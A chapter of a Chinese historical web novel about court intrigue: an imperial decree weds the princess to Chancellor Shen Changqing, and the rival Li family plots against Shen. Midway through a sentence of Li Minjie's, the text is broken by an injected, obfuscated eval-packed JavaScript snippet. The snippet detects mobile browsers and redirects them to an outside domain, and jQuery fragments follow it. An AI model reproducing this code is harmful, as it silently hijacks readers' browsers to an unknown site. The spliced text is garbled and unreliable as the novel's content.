“欸，沈大人的马车跑得好生快，陛下写个诏书的功夫，咱家差点儿要赶不上……”
薛公公的鸭公嗓辨识度很高，沈长卿即便走到拐角也依旧听得一清二楚，她停下来，向快步走来的薛公公看去，露出恰到好处的歉意：“家中马夫赶车失了分寸，让公公受累了。”
薛公公立定站好，他匀好气，理了理微乱的衣摆，从衣袖中拿出圣旨。“咳咳。”他清了清嗓子，“沈长卿听令——”
沈长卿跪下，后背的伤牵扯一下便撕心裂肺的疼，她交叠的双手紧握，唇线紧抿，一滴冷汗滑落至额角。“沈长卿听令。”
“奉天承运，皇帝制曰：安和公主，朕之独女也，系朕所出，身份贵重。自幼聪慧灵敏，旦夕承欢皇太后与朕膝下，太后与朕疼爱甚矣。今公主年已及笄，适婚嫁之时，朕承圣母皇太后慈意，于诸臣工中择佳婿与爱女成婚。
闻丞相沈长卿人品贵重，仪表堂堂，功绩尤佳，且未有家室，与公主婚配堪称天设地造，朕心甚悦。为成佳人之美，兹将安和公主下降丞相沈长卿，一切礼仪由礼部尚书与钦天监正商议后代办。
布告中外，咸使闻之。
钦此。“
薛公公笑得眼睛都眯起，体谅沈长卿的伤微弯着腰把诏书递到她面前。“臣接旨，多谢公公。”沈长卿接过，在季寻的搀扶下起身。
沈长安在薛公公一来便收到了消息，马不停蹄地赶来，衣装得体地赶在宣旨结束的末尾。
他凑了上来。
薛公公眼神一瞥，就像是才看到他一样，笑着说：“沈尚书好福气，一月有三喜临门。”
沈长安好不容易有可以和薛公公说话的机会，笑着把手中的钱袋子塞到他手中，谄媚道：“公公这哪的话，陛下福泽绵长，是臣等沾了陛下的光，臣只是有幸沾得一点。”
恭维的话旁人说得多薛公公也听得多，他笑笑，将手里的钱袋子退回去，不着痕迹地回绝沈长安的套近乎。
“陛下还在宫中等着咱家，就不与两位大人多加寒暄。”薛公公转过身，快步往外走去，“咱家就先走了，二位莫送。”
等人一走，沈长安挂在脸上的笑意立马淡去，板着张脸，说出的话也刻薄：“不逼你一把，你也不会想着沈家的好。这次做的总算是不错，傍上了天家的大腿，以后沈家青云直上，一呼百应也不是不能再现。”
昔日可望而不可求的不吝溢美就被沈长安此刻轻而易举地说了出来，沈长卿唇色苍白，眼里透出些锋利。
“这世上可没有什么是能一直顺风顺水的。你贪得越多，就越早一日跌落泥潭。”
“你借着我的手往上爬，是青云梯还是催命符，未可知呢。”
沈长卿轻声说着，一面将手中诏书推进沈长安的怀里，迈步向里走去。
——
李敏杰今日没有朋友作伴，无聊的很。原本是在街上闲逛，偶然瞥见宫中的马车跟在沈长卿的马车后面，心中好奇，便也跟着去了。
这天在街上多待一会儿都受冻，他在沈府面前徘徊了许久，手都冻得通红，忍不住蜷着双手，放到嘴边吹着热气。
就在他快要受不了之际，门口终于有了动静。
“晚生见过薛公公。敢问公公，近日宫中可还安好？”
薛公公跨上马车的动作一顿，他收回脚，转头看向李敏杰：“原是李尚书之子，不知李公子找咱家，所为何事？”
李敏杰活动了一下僵硬的手指，伸进衣袖掏出个沉甸甸的荷包，凑上前塞到薛公公的手里，不好意思问：“晚生知道公公来此是有要事，听闻朝中略有动静，晚生愚昧，不知可否告知一二？”
薛公公颠了颠手中的重量，顺手塞进自己的衣袖里：“也不是什么不能说的事，告知李公子也无妨。陛下今日给安和公主和沈丞相赐婚，这刚宣了旨，咱家正要去张贴告示呢。”
薛公公的话宛若惊雷，霎时轰得李敏杰面色煞白，往后退了一小步。
薛公公一眼就瞧出了端倪，状似关心道：“李公子，没事吧？”
李敏杰反应过来，后知后觉地“啊”了一声，掩下眼底的诧异，摇头道：“没事，只是风吹得有些冷，忍不住瑟缩了一下。"
他顿了顿，行礼道谢：“多谢公公关心。既然公公还有要事在身，晚生就不打扰了，告辞。”
不顾薛公公是何反应，李敏杰转身，快步往自己家里走去。直到脱离了薛公公的视线，他越走越快，最后直接跑起来。
寒风在他耳边呼啸，将他的耳朵冻得通红。他大口大口喘着气，一路跑进自家的府邸。
“我爹在哪！？”
“老爷在，在书房。”李敏杰推开想要上前扶着他的下人，得到答案又直奔书房而去。
“砰！——”
推门的动静吓着了正在看书的李明泽，他蹙眉，放下手中的书呵斥道：“跟你说了多少次，不要这般毛毛躁躁！进来之前先敲门！”
李敏杰无视李明泽的呵斥，心中只有沈长卿将要迎娶公主的消息。他感受着唇齿间蔓延的血腥味，看向李明泽时满是焦急：“爹！沈长卿他都要娶公主了，你还不动手吗？”
不同于李敏杰的焦急，李明泽像是早就知道了般，闲情逸致地喝了口热茶，才慢悠悠的说上一句。“时候未到，不急于这一时。”
自家爹的回答出乎李敏杰的意料，他不可置信地瞪大眼睛，声量也不自觉放大：“这都火烧眉毛的事了！现在不是时候，还什么是个时候！眼看他都要再涨一层身份，我和他的差距就更大了，这要我怎么追啊！？”
也不知道是哪个字眼刺激了李明泽，他的神情肃然变得激动，恨铁不成刚道：“你也知道你和沈长卿差距更大了，你要是有他一半聪慧，我何苦至于为你筹划那么多，殚精竭虑连头发都花白了不少！”
李明泽的话无疑不是刺痛了李敏杰的心。他红着眼，还在不断喘着粗气，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423116|184814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
想起近两年来自己跟在谢宜苏身边低三下四、委曲求全的作呕样子，眼睛似蒙上一层薄雾，连眨眼都显得沉重。
他看着李明泽一字一句地说：“爹，你总说一半一半，我这不如他好那不如他省心，我就这么不值一提，入不了你的眼吗？！”
李明泽先是一愣，而后神情恍惚地看着自己儿子吐露心声。这些年来沈江两家都出了“神童”，眼看着他们日日青云直上，而同为世家之一的自己却在原地踏步，受人诟病。
他不甘心，不甘心就这么让自己居于人下，让李家低人一等。
所以在有了李敏杰之后就一直在他耳边念叨他们有多么多么好，多么多么给家族争光，却好像忘了那时他也不过是五岁小儿，本该无忧无虑。
他好像在不知不觉中错过和舍弃了很多。
李敏杰哽咽着，轻声道：“我已经为了爹你的大计丢掉了尊严，这难道还不够吗？”
“你还要我付出什么？”
——
“主子，从昨日到现在你都未进食，再这样胃受不了，身体还没好全就先垮了，喝点粥吧。”
自从彩云被处死，沈长卿这院子里就只剩季寻一个贴身伺候的人。这一路走来，沈长卿得罪了不知道多少权贵，多的是人想要她死，所以什么事都要季寻亲力亲为。
季寻刚忙完手上的事，回来就看见方才端上来的粥一动未动。他端起来，好声好气地哄着，才让沈长卿有一口没一口的喝完这碗粥。
见沈长卿喝完，季寻才从衣襟里拿出一封信，递到她面前：“主子，方才有人托人送来了这封信。”
沈长卿自生日宴后就一直出事，除了处理宫中传来的奏折，压根没时间看暗桩和探子传来的消息。这会儿看到季寻递过来的信，才从一堆信条中抬起头，接过来打开一看。
“沈小友，后日城郊妄君山，聊设清谈于湖心亭，无他，唯茗碗香炉，愿与君一叙。倘蒙惠顾，慰我遐思，韩旭。”
沈长卿轻声念着，不由挑起眉，眼神中带着清奇和不在意。她随手将信往旁边一放：“清谈会？这群刻板正直的人高谈阔论，找我这个声名狼藉的凑什么热闹……”
“还城郊妄君山的湖心亭，韩旭这退休了倒是清闲，一把年纪了也不怕受冻，跑到那里去。”
沈长卿翻看着手中的信条，像是突然想起了什么，又把信递给季寻：“你把这个给姚清河，反正他一天天在户部偷闲。他若是有兴趣，就让他去凑凑热闹。”
“好，属下这就去办。”季寻接过信，转身端着食盒出去了。
好半晌，沈长卿才皱着眉抬起头，揉了揉发酸的眼角。她望向窗外，零星几只小鸟飞离枯死的枝丫，只留下晃动不已。
“怎么这么多天都没有有关李明泽的消息，他跟在江元意后面这么久，江元意满是漏洞，他却是里外牢固如铁桶，竟然至今都未找到他的把柄。”
“是我小看他了么……”